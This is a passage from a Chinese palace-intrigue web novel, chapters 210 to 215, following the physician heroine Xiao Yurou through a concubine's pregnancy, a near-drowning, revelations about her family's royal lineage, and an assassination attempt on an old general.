这天,宋贵人突然觉得身子不适,也让人请了萧语柔。结果这一诊不要紧,萧语柔竟然在宋贵人身上探出了一个多月的喜脉。 “真的吗?”宋贵人激动得几乎要从软榻上跳起来,一把抓住萧语柔的手腕。 萧语柔被她抓得生疼,只得柔声道:“奴婢医术粗浅不堪,还是请太医来确认为好。毕竟这是大事,不能有半点差错。” 太医很快被请来,仔细诊脉后,果然也验出了喜脉。宋贵人眼泪都快掉下来了,立刻借口身体不适,把皇帝请了过来。 皇帝听闻又要添一个皇嗣,自然龙心大悦。当即就赏了宋贵人一堆珍贵物件,连带着萧语柔也得了赏赐。 第二百一十章 宋妃有喜 “臣妾斗胆请求......”宋贵人小心翼翼道,眼角还挂着泪珠,“想请乐宁县主也为臣妾保胎。” 萧语柔心中一凛。这后宫之中,每多一个需要她医治的人,就多一分变数。 皇帝倒是觉得无妨:“乐宁,你看如何?” “臣女愿意效劳,只是两位娘娘都金贵,恐一心二用有所疏漏,还请再配一位太医从旁照看。”萧语柔谨慎回答,声音轻柔却坚定。 陛下觉得在理,当即应允。宋贵人虽然有些失望,但也不好多说什么。 宋贵人本想留萧语柔用膳,却不想皇帝一走,其他妃嫔蜂拥而至。她们或说身子不适,或说心口发闷,各种理由层出不穷。 萧语柔被围在中间,推脱不得,只好一一为她们诊脉。但她谨慎地没有开方,而是建议请太医确认。这样既不得罪人,又不会惹来麻烦。 夜幕悄然降临,云霁才找到机会把她接出来。两人沿着宫墙边的小路慢慢走着,夕阳将她们的影子拉得很长。 “县主今日可是出尽了风头。”云霁打趣道,“那些娘娘们都快把您当成神医了。” 萧语柔看着宫墙上爬满的藤蔓,轻声道:“在后宫,最怕的就是出风头了。”她伸手轻轻碰了碰那些藤蔓,“这植物胆子倒是挺大,敢往这深宫里爬。” 几日后,岑陌传来消息说即将回京。这消息让萧语柔既期待又忐忑。 她思索片刻,把梨兰叫来。 “我这里有一种沉梦丹,服下后会让人陷入假死状态,持续两天左右。”她直视着梨兰的眼睛,语气平静,“你要吗?” 梨兰愣住了,一时没反应过来:“县主这是什么意思?” “你若想不明白,就再想想。”萧语柔淡淡道,“这药的代价不小,但礼王殿下应该付得起。” 梨兰回到屋里,坐了许久才明白过来。她犹豫再三,还是悄悄联系了礼王。 下午,萧语柔去给雅贵妃请脉。殿内檀香袅袅,雅贵妃靠在软榻上,面色不善。 “听闻你给后宫的主子们做养生调养?”雅贵妃冷冷开口,语气中带着警告。 “臣女不过是略尽绵薄之力。”萧语柔垂首回答。 “呵,真是会说漂亮话。”雅贵妃讥讽道,“你这是铁了心要跟本宫唱反调?” “臣女在贵妃和太子爷面前如蝼蚁,岂敢作对。”萧语柔的声音依旧平静。 屏风后,有人的手微微颤抖,茶盏中的水面泛起细微的涟漪。 “本妃知道你打的什么主意。”雅贵妃冷声道,“太子贤德爱民,将来必是明君。岑陌暴虐成性,你这样做,只会给天下百姓招祸。” 萧语柔心中冷笑。岑涛若登基,岑陌必死,与他有关的人也活不成。让她为了一个未知的结果放弃自己和家人的性命,她做不到。 “娘娘还有什么吩咐?”她淡淡问道。 “你这是在挑衅本宫?”雅贵妃纤长的手指轻轻叩击着檀木案几,眼中寒意渐起,殿内的温度仿佛骤然降低。 萧语柔神色平静,目光直视着眼前这位高高在上的贵妃。她的唇角微微上扬,带着几分不易察觉的讽刺:“娘娘说笑了,臣女不过是在陈述事实罢了。当初为娘娘医治之时,娘娘便已经表明了态度。” 殿内的宫女们不约而同地低下头,仿佛要将自己藏进阴影里。她们都知道,这位萧县主向来口无遮拦,却没想到今日竟敢如此直白地顶撞贵妃娘娘。 “放肆!”雅贵妃猛地站起身来,茶盏被她一掌拍得粉碎,碎片四处飞溅。她素来以端庄优雅示人,此刻却已顾不得形象,“你这个不知天高地厚的丫头,本宫当初就该...” “母妃。”一道温和的声音从屏风后传来,打断了她即将出口的话。 岑涛缓步走出,玉冠束发,一袭明黄色蟒袍衬得他愈发贵气逼人。他不动声色地挡在了萧语柔身前,声音依旧温和:“母妃近来身子不适,还是好生歇息为上。我来护送这位姑娘。” 说罢,不等雅贵妃回应,便带着萧语柔离开了殿内。 殿外的风带着初春的寒意,萧语柔的裙摆被吹得轻轻摆动。她突然停下脚步,目光若有所思:“太子殿下可知诸葛武侯七擒孟获的故事?” 岑涛转身,眼中带着几分无奈,眉宇间却又透着一丝玩味:“你是在暗指我与母妃联手演戏?” “臣女不敢妄加揣测。”萧语柔微微摇头,发髻上的珠钗随着她的动作轻轻晃动,“奴婢有话想对您说,我这人生性多疑,除了三皇子,怕是无人能容得下我这般性子。” “你又怎知我不能?”岑涛眸光微动。 萧语柔抬眼看他,目光清澈见底:“殿下真的能吗?” 岑涛沉默了。 春风掠过,带起他的衣袍轻轻摆动。他与岑陌不同,岑陌一心只为萧语柔,而他身为太子,肩负着太多责任,需要权衡太多利弊。每一个决定背后,都关系着无数人的命运。 萧语柔行了一礼,转身离去。她的背影纤细而倔强,像是一株在寒风中挺立的寒梅。 岑涛望着她远去的背影,眼中闪过一丝复杂。他转向身边的小太监:“今日之事,你什么都没听见。” “是,奴才耳聵,什么都没听见。”小太监连连点头。 岑涛转身回到雅贵妃殿内,殿内的气氛仍旧凝重。 “如何?还要留她在宫中吗?”雅贵妃冷笑,手中的帕子被她揉搓得变了形。 “全凭母妃做主,只是...”岑涛顿了顿,“还请母妃手下留情。” “痴儿。”雅贵妃轻叹,目光复杂地看着自己的儿子,“你可知道,她这样的性子,若是留在宫中,迟早会惹出大祸来。” 待岑涛离开后,雅贵妃吩咐道:“去栖霞殿多派些人手,这丫头在宫里逍遥太久,该让她尝尝教训了。看你如此中意,就好生调教,莫要让她太过锋利。” 宫女领命而去。 岑涛回到东宫,谷霜已在门前等候。她一袭淡青色衣裙,温柔可人。 “殿下。”她福身行礼,动作优雅得体。 岑涛还未开口,一个小太监慌慌张张地跑来:“太子殿下,乐宁县主落水了!” 谷霜眉头微蹙:“这等小事,何须惊动太子?若要关心,该是定王府的事才对。”她的声音柔和,话里却带着几分不易察觉的锋芒。 第二百一十一章 萧语柔落水 柳夫人闻言,立刻扑到岑涛脚下哭诉:“这狐媚子,竟敢算计储君殿下?先是勾引三皇子,如今又想...” “住口!”岑涛厉声打断。 而此时的栖霞殿内,萧语柔已陷入昏迷。她的脸色苍白如纸,额头上渗出细密的汗珠。 萧太医诊脉后,面色凝重。他看了看周围的人,欲言又止。 太后、晔妃、雅贵妃齐聚殿外,气氛凝重得仿佛能滴出水来。 待萧太医诊治完毕,兰梨嬷嬷匆匆来报:“县主方才喊着杨贵妃的名字。” “她怎会知道?”太后眸光一冷,手中的佛珠停顿了一瞬。 雅贵妃心中一惊,下意识看向晔妃,却见对方也是一脸茫然。杨贵妃的事,本是宫中最大的秘密之一,连许多老人都不知详情,这萧语柔又是从何得知? 殿内烛火摇曳,投下诡异的影子。众人各怀心思,谁也没有说话。 天明时分,萧语柔终于转醒。她的眼神还有些迷茫,像是刚从一场噩梦中醒来。 “县主可记得是谁将你推下水?”兰梨嬷嬷凑近问道。 萧语柔微微摇头,声音虚弱:“天太黑,什么都没看清。” “那县主可记得自己喊了什么?” “我...喊了什么吗?”萧语柔一脸茫然,“我只记得水很冷,然后...就什么都不记得了。” 兰梨嬷嬷若有所思地看了她一眼,转身离去。她总觉得这位县主看似单纯,实则深不可测。 栖霞殿外,春日的阳光明媚依旧,却照不进人心的阴暗。一场看似简单的落水事件背后,究竟藏着多少不为人知的秘密? 兰梨嬷嬷的脚步声渐渐远去,九公主红着眼眶跑了进来,裙摆在地上拖出一道谷乱的褶皱。她的发髻也有些歪斜,显然是一路小跑过来的。 “姐姐!”她扑到床边,眼泪在眼眶里打转,纤细的手指紧紧攥着床单,“我听说你被关在冷宫,吓得一晚上都没睡好。” 萧语柔看着小姑娘哭得梨花带雨的模样,心中一软。她伸手轻轻拭去九公主脸上的泪珠,柔声道:“别哭了,我这不是好好的吗?” “可是...”九公主泣不成声,眼眶红得像只小兔子,“我听宫女说姐姐在冷宫受了好多苦,连饭都没得吃。” “都是些胡说八道。”萧语柔摸了摸她的头,“我在冷宫待了一晚上就出来了,哪有她们说的那么夸张。” 奶嬷嬷站在一旁,眼神复杂地看着萧语柔。这位乐宁县主不仅替自己脱了身,顺便给九公主解了围。这份心思,这份手段,当真是高明得很。 “姐姐说的是真的吗?”九公主擦了擦眼泪,小心翼翼地打量着萧语柔的脸色。 “自然是真的。”萧语柔浅笑,“对了,昨夜可曾觐见太后?” 提起太后,九公主的眼睛一下子亮了起来:“见到了!皇祖母说要我常去她那里抄写佛经,片刻后我便动身。”她说着,又有些担忧地看向萧语柔,“姐姐你真的没事吗?要不要我帮你和皇祖母说说?” “不用了。”萧语柔轻轻摇头,“你只要记得和兰梨嬷嬷多亲近些就好。” 九公主依依不舍地离开后,梨兰悄悄进了屋。她左右张望了一番,确定无人后快步走到床边。 “考虑清楚了?”萧语柔端起床头的药碗,药汤已经有些凉了,她轻轻抿了一口。 梨兰又往门口看了一眼,这才从袖中取出一方金印:“王爷让我带话,感激县主的宽宏大量。” 萧语柔看着印上“礼王宝印”四个字,心中暗叹。这礼王,当真是个痴情人。为了那个女子,连自己的印信都愿意交出来。 她将几颗珍贵的丹药交给梨兰,又加了支疗伤的药膏:“这些东西,你替我转交给王爷。” 梨兰小心地收好,欲言又止:“县主...” “去吧。”萧语柔淡淡道,“该说的都说完了。” 天黑前,萧语柔以思念外祖母为由出宫。当雅贵妃得知这个消息时,只好打碎牙往肚里咽。毕竟太后已经下了懿旨,谁还敢为难这位县主。 回到萧府,老夫人望着面如纸色的外孙女,心疼得直掉泪:“这是怎么了?怎么瘦了这么多?” “外祖母别难过。”萧星朗在一旁劝道,“姐姐祥宁回来就好。” 萧瑾别扭地站在角落,嘴硬道:“大不了下次我亲自进宫把人捞出来。” “胡说什么呢。”秦氏连忙打断他的话,转而招呼众人用饭,“先用饭吧,厨房特意准备了语柔爱吃的菜。” 珍珍扶着萧语柔去梳洗,叶辰站在廊下许久才离开。月光洒在他的背影上,拉出一道长长的影子。 晚饭后,萧语柔翻看门房记录的拜访名册。这些字迹工整优美,一看就是出自读过书的人之手。 “这门房叫什么名字?”她问道。 “是个叫顾峰的。”紫萱一边铺床一边回答,“虽是粗使下人,但很老实本分,从不偷懒。” 萧语柔心头一震。顾峰?那个在前世率兵造反,一度攻入龙都的顾峰? 她定了定神,或许只是同名同姓。毕竟顾姓在大周并不少见。 第二日清晨,紫萱去门房寻顾峰。少年正在打扫院子,见到紫萱连忙放下扫帚。 “紫萱姐姐。”他低着头,声音很轻。 “小姐要见你。”紫萱递给他几块桃酥,“先吃点吧,这是厨房新做的。” 顾峰迟疑地接过点心。他想起幼时偷吃桃酥被打的惨痛经历,手微微颤抖。那时候他还在乡下,为了一块点心,差点被打断了腿。 “别怕。”紫萱见他神色紧张,温声安慰道,“我们家小姐最是宽厚,从不苛待下人。” 少年小心翼翼地咬了一口,甜香在口中化开。不知不觉吃完四块桃酥,他有些不好意思地擦了擦嘴。 萧语柔看着进门的清瘦少年,暗自松了口气。这与记忆中那个虎背熊腰的叛军首领判若两人。眼前的少年瘦弱得像根竹竿,脸上还带着些许稚气。 “你就是顾峰?”她问道。 “是。”少年低着头,声音很轻。 “抬起头来。”萧语柔仔细打量着他的面容,“我看你字写得不错,以前读过书?” 顾峰抿了抿唇:“回小姐的话,以前...在私塾读过两年。” “那为何不继续读下去?” 少年的手指微微蜷缩:“家里...家里遭了难,供不起了。” “家中可还有亲人?”萧语柔目光如水,不着痕迹地打量着眼前这个年轻人。 顾峰沉默片刻,喉结微动:“只剩一个父亲,但已经断绝关系了。我只想在萧府好好做工。”说这话时,他的手指下意识地攥紧了衣角。 萧语柔放下茶盏,瓷器与木桌相碰发出清脆的声响。她凝视着顾峰,眼神清澈见底:“我最讨厌别人骗我。” 第二百一十二章 萧瑾身份 “千真万确。”顾峰抬头直视萧语柔的眼睛,语气坚定。 屋内一时寂静,只听得见檐下风铃偶尔发出的清响。 “既然如此,我便信你。”萧语柔淡淡道。 顾峰心头一颤,他本以为这位金枝玉叶会对他的出身嗤之以鼻,没想到她竟如此平和。阳光下,少女清丽的面容透着几分难以捉摸的深意。 “你的字写得不错,做事也井井有条。”萧语柔纤指轻叩桌面,发出规律的声响,“身手如何?” 顾峰犹豫了一下,目光在萧语柔脸上停留片刻,轻轻点头。 “那好,从今日起你就做萧府的护院,同时帮二公子处理些事务。”萧语柔起身走到窗前,阳光为她镀上一层柔和的光晕,“若是做得好,日后护院一职就交给你全权负责。” 顾峰心中暗惊,这位小姐未免太过轻率,护院之职岂能轻易托付外人?不过这正合他意,守门房确实不便行事。他压下心中的波澜,恭敬应道:“小的愿意。” “月钱三吊,每季两套常服,每月三天假。”萧语柔顿了顿,转身看向顾峰,声音陡然冷了下来,“记住,萧府上下都是我最重要的人。我对自己人一向宽容,但若有人存心不轨,或是连累了萧家,我必取其性命,你可听明白了?” “小的明白。”顾峰低头应道,额角有细密的汗珠渗出。 待顾峰退下,紫萱从屏风后走出,忍不住问道:“小姐为何对他与旁人不同?往日新来的下人,小姐从不亲自过问。” 萧语柔轻轻摇头,没有多说。她走到书案前,取出一封信函,纸上的墨迹已经微微泛黄。 等紫萱也离开后,她唤来萧瑾:“这几日你多留意他,若无异常便可重用,若有不对,立刻拿下。” “是!” “限你一天,将我想知道的事告诉我。”萧语柔的声音忽然变得柔和。 萧瑾面色一僵,默默点头。这些年来,他一直回避着那些往事,如今却不得不直面。 半日后,萧瑾来到萧语柔房中。 萧语柔示意他坐下说话,但他执意要站着。她也不勉强,只是轻轻抱过琴来擦拭。 “我母亲是大衍福康郡主萧叶,外祖父是废太子萧景柏。”萧瑾攥紧拳头,指节发白,眼眶通红。 萧语柔手上的动作一顿,琴弦发出一声轻微的颤音。 “外祖父被废后遭囚禁,新皇登基时,囚禁的府邸起了大火。除了母亲,所有人都......”萧瑾说不下去了,喉咙像是被什么堵住。 他从未亲眼见过那场惨剧,只记得幼时母亲带他去看过那片废墟。断壁残垣间,母亲哭得声嘶力竭的模样,至今让他心如刀割。每每想起,那种无力感就会重新涌上心头。 “母亲临终前告诉我,还有一个叔叔被心腹救了出去。”萧瑾的声音有些哽咽。 “就是我父亲?”萧语柔轻声问道。 “是。”萧瑾抹去眼泪,“我逃出大衍后被蒙古王子星阳那抓住,幸得师父相救。等我找到这里,叔叔已经......” “不必自责。”萧语柔轻抚琴弦,清越的琴音在室内回荡,“我们还太弱小,需要时间变得强大。这世上,唯有强者才能讨要公道。” 萧瑾眼中的悲伤化作坚定:“师父也这么说。我一定会保护好姐姐,绝不让姐姐重蹈母亲的覆辙。” “放心,我们终会得偿所愿。”萧语柔的声音很轻,却带着不容置疑的力量。 春闱前夕,岑陌悄然归来。 夜色已深,庭院里的梨花在月光下泛着银白色的光芒。岑陌身上的外袍还带着露水的潮气,一进门就将萧语柔紧紧抱住。 “殿下这是遇到什么好事了?”萧语柔仰头看他,月光下的男人俊美如玉,眼中带着掩不住的喜悦。 “好事就在怀中。”岑陌在她额头轻吻,“你弟弟剿灭了闯入北陲的蛮敌,消息正往龙都传。” “如此一来,殿下便可去西北了。” “不错。蒙古可汗病重,阿琳洛公主已经准备妥当,只等本王前去,就能除掉星阳那。” 萧语柔正要说话,岑陌已经抱着她坐到榻上,温热的气息拂过她的耳畔:“你信中提到要谈杨贵妃之事?” “殿下为何会关注杨贵妃?”萧语柔微微蹙眉。 “传闻她有一件神物。”岑陌直言不讳,“当年杨贵妃失踪后,据说那件宝物交给了她的知己叶芷。” “母亲?”萧语柔心头一震,指尖不自觉地颤抖。 原来害死父母的真正原因是《灵医宝典》?这个念头如同一道闪电划过脑海,让她瞬间明白了许多事情的来龙去脉。 “出什么事了?”岑陌察觉到她的异样,眉头紧皱。 “我爹娘的死,怕是与此有关。”萧语柔指尖微颤,声音里带着几分苦涩,“虽说是舅舅夫妻下的手,但背后另有主使。” 岑陌将萧语柔拉入怀中,她的身子微微发颤,如同风中摇曳的柳絮。 “别怕,我定会替你遮风挡雨。”他的声音低沉而坚定,温热的气息拂过她的耳畔。岑陌收紧了手臂,仿佛要将她揉进骨血之中。 萧语柔抬起头,轻声说道:“我不怕。”顿了顿,眼底浮现出一丝自嘲,“濒死边缘走过一遭的人,还有什么可怕的?” 岑陌注视着她,那双凤眸中闪过一抹心疼。他修长的手指轻抚她的脸颊,声音沙哑:“可是我怕。” 这简单的四个字,让萧语柔心头一颤。她从未想过,有朝一日会有人如此在意她的安危。那一刻,她忽然明白,自己已不再是独自漂泊的孤舟,身边有了愿意与她同舟共济的人。 屋内的烛火摇曳,在墙上投下两人交叠的影子。萧语柔深吸一口气,抬头直视他的眼睛:“殿下,我即将告诉你的消息,或许会让你难以置信。” “说吧。”岑陌的目光温柔而专注。 “我怀疑......”她咬了咬唇,小心翼翼地观察着他的表情,“你并非洛贵妃所出。你的生母,应该是杨贵妃。” 话音刚落,萧语柔便紧张地屏住了呼吸。然而出乎她意料的是,岑陌只是淡淡问道:“就这些?” “殿下不惊讶?”她愣住了。 岑陌轻抚她的发丝,语气平静:“我早有猜测。宁夫人与你说过的话,我也知晓。这段时日我暗中查访,虽不能说十分确定,但也有七八分把握。” 第二百一十三章 吾儿岑陌 萧语柔松了口气。她太清楚杨贵妃与洛贵妃的区别——一个是含冤而死的可怜人,一个是罪责难逃的凶手。这个真相对岑陌来说,或许反而是一种解脱。 “还有一事......”她犹豫片刻,将在皇家猎场发现红衣女尸的经过娓娓道来。 “我确信那就是杨贵妃。”她从袖中取出一枚银色长命锁,递到岑陌面前,“这个,也是当时找到的。” 月光下,那枚长命锁泛着柔和的光泽,上面清晰可见“吾儿岑陌”四字。岑陌接过长命锁,指腹轻轻摩挲着那几个字,眼底浮现出难以言喻的复杂情绪。 “时候不早了,歇息吧。”他的声音有些沙哑。 萧语柔察觉到他眼中的悲痛,想说些什么,却又不知从何说起。最终,她只是轻声道:“王爷今晚留下吧。” 岑陌笑了笑,眼底却是化不开的哀伤。他脱去外衫,搂着萧语柔躺下。房内静谧,只有两人平稳的呼吸声。萧语柔安静地依偎在他怀中,听着他有力的心跳声,直到困意袭来。 待她呼吸渐沉,岑陌在黑暗中凝视着她的睡颜。良久,他才轻手轻脚地起身,为她掖好被角,悄然离去。 次日清晨,阳光透过窗纱洒进房内,紫萱的声音从外传来:“小姐,该起身了,要去送二公子赶考呢。” 萧语柔睁开眼,枕边人去多时空寂冷。她轻声道:“进来吧。” 她挑了件藕粉色裙装,想着今日是叶辰考试的大日子,这颜色喜庆些。紫萱为她梳妆时,絮絮叨叨地说着考场外的热闹景象。 “听说今年考生比往年还多,街上早就挤满了人。”紫萱一边替她挽发髻,一边说道,“还有不少外地来的学子,连客栈都住满了。” 萧语柔点点头,想起前世叶辰落榜时的失魂落魄。这一世,她一定要让二哥考取功名,不再重蹈覆辙。 梳妆完毕出来时,秦氏已扶着老夫人在外等候。今日一家人都穿得喜气,就连日渐衰老的老夫人也显得精神焕发。她身着暗红色织锦袄裙,发间簪着一支白玉簪子,虽然朴素,却透着端庄大气。 到侯府接了叶辰,一行人便往考场赶去。马车缓缓行驶在街道上,远远就能听见人声鼎沸。 考场外果然如紫萱所说,早已人头攒动。送考的亲眷、外地考生、看热闹的百姓将街道挤得水泄不通。叫卖声、议论声此起彼伏,热闹非凡。 有小贩挑着担子在人群中穿梭,叫卖着文房四宝;也有卖早点的,香气四溢,引得不少人驻足。更有算命先生摆着摊位,声称能算出考生的科举前程。 “就送到这里吧。”叶辰看着人群,转身对老夫人道,“祖母身子不适,前面太挤,孙儿自己走这一段就好。” 老夫人慈爱地看着他,替他整理衣襟:“考得好坏都无妨。三年后还可再考,莫要给自己太大压力。” 这时,邬洵也来了。他向老夫人行礼后,细细叮嘱叶辰考场注意事项:“记得带够笔墨纸砚,莫要慌乱。答题时先列大纲,切忌操之过急......” 萧语柔瞥见叶辰腰间的新腰带,那是暮雪亲手缝制的。她笑着打趣道:“二哥哥定能考好,暮雪还在等着你呢。” 叶辰耳根泛红,紧张倒是消了几分。他整了整衣冠,朝众人拱手告别。 不远处,连家马车停下,慕容被姐妹们围着,又被母亲塞了些点心,祖母絮絮叨叨地叮嘱,这才红着脸挤入人群排队。 转头时,他看见了萧语柔,她还朝他笑了笑。慕容打了个寒战,慌忙扭头。那日在谷家的事,让他至今心有余悸。 连国公夫人见状,脸色一沉。正要上前,婆子连忙拉住她:“夫人,那可是未来的定王妃。” “我认得她。”慕夫人冷哼一声,想着若非这乐宁县主,郡主也不会与谷家有牵扯。她径直走向萧语柔:“我当是谁,原来是乐宁县主。” 萧语柔浅笑:“敢问这位是......” “这是连国公夫人,朝廷最高品级的贵夫人!”婆子抢着道,生怕萧语柔不知道她家主子的身份。 “原来如此。”萧语柔点头,不欲多言。她能感觉到慕夫人眼中的敌意,但并不想在这种场合起冲突。 慕夫人皱眉:“乐宁县主如此孤傲,是瞧不上我这寡妇?” 老夫人冷声道:“慕夫人,这边还有个孤独终老的女人,语柔如何瞧不上您?” 慕夫人语塞,既不愿道歉,又顾忌老夫人身份,憋出一句:“贵妇您想差了。”便匆匆离去。 秦氏打量着慕夫人华贵的衣着首饰和马车,低声道:“听说慕国公府最近花了大笔银子,正在填窟窿呢。” “银子用在何处?”萧语柔问道。她记得前世连家确实出了些事,但具体如何却记不太清了。 “也是茶余饭后的闲谈罢了。”秦氏摇头,“只听说府里两个儿媳妇的嫁妆都被慕夫人取去,要给女儿们做嫁妆,闹得不小。连家两个儿媳都是大族出身,这事传出去,怕是要惹人非议。” 老夫人提醒她们谨言慎行,留下轮值的下人,便带着众人回府。 回程时,萧星朗趴在老夫人膝上昏昏欲睡,一路上都没说话。萧语柔见状,提起要为萧星朗请先生的事。 “该去拜访慕老将军了,”老夫人道,“看看他在龙都还有什么打算。” “正有此意。”萧语柔点头。慕老将军虽然性格古怪,但教导萧星朗最为合适。 安顿好老夫人,萧语柔便带着萧瑾和萧星朗去拜访慕老将军。老将军住在西城一处偏僻小院,到时门虽大开,却不见人影。 萧语柔唤了两声无人应,便让人将礼物先送进去。院子里杂草丛生,显然许久无人打理,但那些兵器架却擦拭得一尘不染。 “师父定在后院打盹呢!”萧星朗欢快地往里跑。 萧语柔还未来得及阻拦,萧瑾突然脸色一变,拔刀疾奔后院。空气中弥漫着一丝若有若无的血腥气,让人心底发寒。 萧语柔快步往后院赶去,耳边已经能听到刀剑相击的清脆声响。夜色中,血腥味随着微凉的晚风飘散过来,她不由得蹙起眉头,加快了脚步。 庭院里,两个蒙面黑衣人正与萧瑾缠斗。刀光剑影间,萧瑾的剑法凌厉,招招直取要害。那两个黑衣人虽然身手不凡,但在萧瑾的猛攻下仍显得有些狼狈,只能不断后退。 “当!”一声清响,萧瑾手中长剑直逼其中一人咽喉,那人堪堪避过,却在慌乱中露出破绽。萧瑾抓住机会,剑锋一转,在对方手臂上划出一道血痕。 第二百一十四章 眼看着两个黑衣人就要败退,萧语柔悄然躲在廊柱后,纤细的手腕轻轻一翻,两枚寒光闪烁的银针破空而出。 “噗”的轻响,银针正中两人肩胛要穴。黑衣人身形猛地一晃,重重摔在地上,想要挣扎却已经使不上力气。 “当心他们寻死!”萧语柔话音未落,两个黑衣人已经咬破了藏在牙齿里的毒囊,身体剧烈抽搐几下后便没了动静。 “这些人还真是谨慎。”萧语柔轻叹一声,走到其中一具尸体旁边蹲下,仔细检查起来。 慕老将军从阴影处走出,右手臂上有一道不深的伤口,血迹已经浸透了衣袖。他冲萧瑾和萧星朗摆摆手:“无妨,小伤而已。倒是要谢谢你们及时赶到。” 萧语柔让人找来纱布和药箱,示意萧星朗替老将军包扎伤口。她一边递上特制的止血药膏,一边观察着慕老将军的神色:“老将军可知这些人的来历?” “哼。”慕老将军冷笑一声,“还能有谁?不过是些见不得光的臭虫罢了。这些年,他们一直在暗处盯着我。” 萧星朗红着眼圈,声音有些发颤:“这已经是第几次了?为什么他们非要对您下手?” “怕什么,不过来了两三回,都是些不成气候的货色。”慕老将军故作轻松地笑骂道,伸手揉了揉萧星朗的脑袋,“你这没用的臭小子,什么时候能长大?” 待下人们都退下后,萧语柔拉过一张木凳坐下。简陋的屋子里,烛光摇曳,她直视着老将军布满沧桑的面容:“老将军此番入京,到底为何?这些刺客,恐怕与您要查的事有关吧?” 慕老将军沉默片刻,眼中闪过复杂的神色:“查点事。” “是关于您家人的事吧?”萧语柔轻声问道,“这些年,您一直在暗中调查什么。” 老将军忍俊不禁,却笑不出来,只是摇头道:“小丫头太聪明了,别到时候王爷嫌弃你。” “王爷最重道理,只要我行得正,他不会嫌我。”萧语柔神色坦然。 “哈哈哈!”慕老将军大笑几声,笑声中却带着几分苦涩,“也是,定王向来明理。不过有些事,还是不要牵扯太多人的好。” 萧语柔沉吟片刻:“不如让王爷帮您查查?总比您一个人在龙都里瞎转悠强。这些刺客明显有备而来,若是再出什么意外...” “不必了,”慕老将军摆摆手,“我本就打算去找他。这点眼力劲儿,老头子还是有的。只是时机未到。” 萧星朗坚持要留下照看,萧语柔也没拦他,只是让人送来了换洗衣物。临走前,她还特意吩咐顾峰带人加强戒备,让郗澜多加注意这边的动静。 “萧瑾,看来又蹿个子了?”路上,萧语柔打量着身边的少年。月光下,少年的身形挺拔了许多,已经隐约有了几分少年郎的英气。 萧瑾不好意思地看了看短了的衣袖,脸上泛起淡淡的红晕:“可能是...吃得太好了。姐姐总是让厨房给我加菜。” “走吧,给你置办两身新衣裳。”萧语柔笑道,“你现在可是家里的二公子了,总不能穿得这么寒酸。” “姐姐对我最好了。”萧瑾低声说,眼中满是感激。 刚到成衣铺子,就遇见了赌石常客谭北。他怀里抱着只胖橘猫,正悠闲地挑选着玉石。 “这位大人最近挺悠哉?”萧语柔随手挑了块石头递给他,“整日在外闲逛。” 谭北笑眯眯地接过:“小语柔,你有大劫将至,多准备些值钱的东西傍身。这可是我好心提醒。” “云台先生的占卜很准吗?”萧语柔又递了一块石头过去,语气中带着几分试探。 谭北原本变了脸色,看到石头又笑开了:“那糟老头子?一般般吧。从前那位大人惨遭火刑,他都不敢救,就是个怂包。”说着,他轻轻抚摸着怀中的橘猫。 “他还有主子?” “可不是,他才十几岁就说什么要救世,结果...”谭北摇头晃脑,语气中带着几分嘲讽,“哪像我,寻得紫气,辅佐明君。” 见萧瑾选好了衣裳出来,萧语柔识趣地告辞。 谭北开出了一块鸡血石和一块蓝宝,把玩着鸡血石低声笑道:“小丫头,我这番苦心没白费。” “云台先生曾经辅佐过废太子。”萧语柔暗自思忖,心中五味杂陈,却叫不出一声祖父。 正走着,萧瑾忽然拉了她一把。“哗啦”一声,一盆污水从二楼泼下,正好浇在她方才站的地方。 抬头一看,是齐婉的丫鬟。那丫鬟看到萧语柔,脸色顿时变得煞白。 萧语柔微微一笑:“原来是齐小姐。这么巧?” 齐婉狠狠瞪了丫鬟一眼,转身就要从后门逃走。却听小二说后门已经被堵住了。 “该死!”齐婉咬牙,看到二楼尽头的窗户通向偏僻小巷,立刻让小二找来麻绳。她刚系好绳子爬到半空,就听见下面传来鼓掌声。 “齐小姐好身手,比猴儿还灵活。”萧语柔笑吟吟地看着她,眼中却没有半分笑意。 “你这是在看我的笑话吗?”齐婉咬着牙,瞪着萧语柔,春日的阳光透过庭院的梨花洒落在她脸上,却衬得她面色更加苍白。 萧语柔站在廊下,慵懒地摇着手中的白玉扇,“笑话谈不上,只是觉得颇为有趣。你能诅咒宁王战死沙场,就爬个二楼你就这样了,不过分吧?” 春风徐来,带着几分暖意拂过庭院,掀起萧语柔裙角的同时,也吹散了空气中若有若无的火药味。齐婉心虚地转过头,却正好看见巷子那头一个赤着上身的男子。 那男子身材魁梧,却做出一副扭捏作态的模样,双手捂住胸口,尖声喊道:“啊!流氓!” 齐婉翻了个白眼,这种货色还嫌辣眼睛。她转身就要离开,却听见身后传来此起彼伏的议论声。 “这不是齐太傅家的小姐吗?” “天啊,堂堂名门闺秀,竟做出这等事来!” “听说她还未婚配......” 不到半日,“齐太傅千金爬墙偷看屠户李”的传闻就传遍了整个龙都。消息传到岑燕燕耳中时,她正在练功场和谷柏对招。 “什么?”岑燕燕一个分神,长剑险些脱手,随即笑得前仰后合,“齐婉那个假正经,终于露出真面目了!” 她气呼呼地跺脚:“都怪你,整日拉我去练剑骑马,害我错过这等好戏。” 第二百一十五章 钱忠的怨气 与此同时,谷柏打了个喷嚏。他正站在校场边缘,看着钱忠策马而来。 “染了风寒?”钱忠居高临下地看着他,“听闻谷将军之子武艺高强,却连个喷嚏都受不住?” 自打开春回京,钱忠就一直在找谷柏的不痛快。这其中缘由,谷柏心知肚明,却装作不知:“二公子若有什么不满,不妨直说。” “我有什么不满?”钱忠冷笑一声,策马而去,故意从谷柏身边掠过,激起一片尘土。 “公子,您何必忍他?”小厮不平道,“您也是将军之子,更何况小姐还是太子妃...” “住口。”谷柏神色一凛,“此事你给我烂在肚子里。” 他当然明白钱忠为何生气。那人对郡主的心思,他早就看出来了。只是郡主尚且懵懂,而他恰好赶上了赐婚。想到这里,谷柏不由得握紧了拳头。 暮色四合,谷柏来到定王府。林妈妈出来相迎:“王爷已经歇下了。” 谷柏觉得蹊跷,这个时辰就歇息?往日这个时候,定王不是在书房批阅奏章,就是在演武场练剑。但林妈妈不会无故撒谎,他只得告辞。 暗处的眼线将这一幕看在眼里,悄然离去,回到墨王府复命。 “这就撂挑子了?”司韶把玩着手中的银色面具,冷笑道,“怕是有什么见不得人的勾当。” “定王能有什么勾当?”下属小心翼翼地问。 “本王也很想知道。”司韶眯起眼睛,话音未落,就听下人禀报雨清到访。 大衍使团接连遇刺的消息已传遍龙都,皇上震怒,下令彻查。雨清虽知其中有诈,却也无可奈何。他此行只为一件事——报仇。十年前的血海深仇,是他心中永远的刺。 